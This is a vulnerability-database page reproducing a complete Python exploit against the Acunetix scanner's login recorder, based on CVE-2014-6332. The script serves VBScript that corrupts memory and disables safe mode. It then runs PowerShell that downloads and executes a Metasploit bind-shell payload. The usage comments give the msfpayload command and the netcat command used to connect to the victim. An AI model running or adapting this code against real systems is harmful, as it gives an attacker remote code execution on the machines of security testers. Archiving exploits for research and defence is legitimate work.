Lucene search
K

Acunetix OLE Automation Array Remote Code Execution Exploit

🗓️ 27 Mar 2015 00:00:00Reported by Naser FarhadiType 
zdt
 zdt
🔗 0day.today👁 37 Views

Acunetix OLE Automation Array Remote Code Execution exploit allows an attacker to execute remote code on a target machine by serving exploit code and a Metasploit payload via an HTTP server

Code
#!/usr/bin/python
 
import BaseHTTPServer, sys, socket
 
##
# Acunetix OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 27 Mar 2015 # Version: <=9.5 # Tested on: Windows 7
# Description: Acunetix Login Sequence Recorder (lsr.exe) Uses CoCreateInstance API From Ole32.dll To Record
# Target Login Sequence
# Exploit Based on MS14-064 CVE2014-6332 http://www.exploit-db.com/exploits/35229/
# This Python Script Will Start A Sample HTTP Server On Your Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
# And Finally You Can Connect To Victim Machine Using Netcat   
# Usage:
#       chmod +x acunetix.py
#       ./acunetix.py
#       Attacker Try To Record Login Sequence Of Your Http Server Via Acunetix
#       nc 192.168.1.7 333
# Payload Generated By This Command:    msfpayload windows/shell_bind_tcp LPORT=333 X > acunetix.exe
#
# Video: https://vid.me/SRCb
##
 
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(req):
        req.send_response(200)
        if req.path == "/acunetix.exe":
            req.send_header('Content-type', 'application/exe')
            req.end_headers()
            exe = open("acunetix.exe", 'rb')
            req.wfile.write(exe.read())
            exe.close()
        else:
            req.send_header('Content-type', 'text/html')
            req.end_headers()
            req.wfile.write("""Please scan me!
                            <SCRIPT LANGUAGE="VBScript">
                            function runmumaa()
                            On Error Resume Next
                            set shell=createobject("Shell.Application")
                            command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/acunetix.exe',\
                            'acunetix.exe');$(New-Object -com Shell.Application).ShellExecute('acunetix.exe');"
                            shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
                            end function
 
                            dim   aa()
                            dim   ab()
                            dim   a0
                            dim   a1
                            dim   a2
                            dim   a3
                            dim   win9x
                            dim   intVersion
                            dim   rnda
                            dim   funclass
                            dim   myarray
 
                            Begin()
 
                            function Begin()
                              On Error Resume Next
                              info=Navigator.UserAgent
 
                              if(instr(info,"Win64")>0)   then
                                 exit   function
                              end if
 
                              if (instr(info,"MSIE")>0)   then
                                         intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))  
                              else
                                 exit   function 
                                          
                              end if
 
                              win9x=0
 
                              BeginInit()
                              If Create()=True Then
                                 myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
                                 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
 
                                 if(intVersion<4) then
                                     document.write("<br> IE")
                                     document.write(intVersion)
                                     runshellcode()                   
                                 else 
                                      setnotsafemode()
                                 end if
                              end if
                            end function
 
                            function BeginInit()
                               Randomize()
                               redim aa(5)
                               redim ab(5)
                               a0=13+17*rnd(6)
                               a3=7+3*rnd(5)
                            end function
 
                            function Create()
                              On Error Resume Next
                              dim i
                              Create=False
                              For i = 0 To 400
                                If Over()=True Then
                                '   document.write(i)    
                                   Create=True
                                   Exit For
                                End If
                              Next
                            end function
 
                            sub testaa()
                            end sub
 
                            function mydata()
                                On Error Resume Next
                                 i=testaa
                                 i=null
                                 redim  Preserve aa(a2) 
                               
                                 ab(0)=0
                                 aa(a1)=i
                                 ab(0)=6.36598737437801E-314
 
                                 aa(a1+2)=myarray
                                 ab(2)=1.74088534731324E-310 
                                 mydata=aa(a1)
                                 redim  Preserve aa(a0) 
                            end function
 
 
                            function setnotsafemode()
                                On Error Resume Next
                                i=mydata() 
                                i=readmemo(i+8)
                                i=readmemo(i+16)
                                j=readmemo(i+&h134) 
                                for k=0 to &h60 step 4
                                    j=readmemo(i+&h120+k)
                                    if(j=14) then
                                          j=0         
                                          redim  Preserve aa(a2)            
                                 aa(a1+2)(i+&h11c+k)=ab(4)
                                          redim  Preserve aa(a0) 
 
                                 j=0
                                          j=readmemo(i+&h120+k)  
                                      
                                           Exit for
                                       end if
 
                                next
                                ab(2)=1.69759663316747E-313
                                runmumaa()
                            end function
 
                            function Over()
                                On Error Resume Next
                                dim type1,type2,type3
                                Over=False
                                a0=a0+a3
                                a1=a0+2
                                a2=a0+&h8000000
                               
                                redim  Preserve aa(a0)
                                redim   ab(a0)    
                               
                                redim  Preserve aa(a2)
                               
                                type1=1
                                ab(0)=1.123456789012345678901234567890
                                aa(a0)=10
                                       
                                If(IsObject(aa(a1-1)) = False) Then
                                   if(intVersion<4) then
                                       mem=cint(a0+1)*16            
                                       j=vartype(aa(a1-1))
                                       if((j=mem+4) or (j*8=mem+8)) then
                                          if(vartype(aa(a1-1))<>0)  Then   
                                             If(IsObject(aa(a1)) = False ) Then            
                                               type1=VarType(aa(a1))
                                             end if              
                                          end if
                                       else
                                         redim  Preserve aa(a0)
                                         exit  function
 
                                       end if
                                    else
                                       if(vartype(aa(a1-1))<>0)  Then   
                                          If(IsObject(aa(a1)) = False ) Then
                                              type1=VarType(aa(a1))
                                          end if              
                                        end if
                                    end if
                                end if
                                           
                                 
                                If(type1=&h2f66) Then        
                                      Over=True     
                                End If 
                                If(type1=&hB9AD) Then
                                      Over=True
                                      win9x=1
                                End If 
 
                                redim  Preserve aa(a0)         
                                     
                            end function
 
                            function ReadMemo(add)
                                On Error Resume Next
                                redim  Preserve aa(a2) 
                               
                                ab(0)=0  
                                aa(a1)=add+4    
                                ab(0)=1.69759663316747E-313      
                                ReadMemo=lenb(aa(a1)) 
                                
                                ab(0)=0   
                              
                                redim  Preserve aa(a0)
                            end function
 
                            </script>""")
 
if __name__ == '__main__':
    sclass = BaseHTTPServer.HTTPServer
    server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
    print "Http server started", socket.gethostbyname(socket.gethostname()), 80
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass
    server.server_close()

#  0day.today [2018-01-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation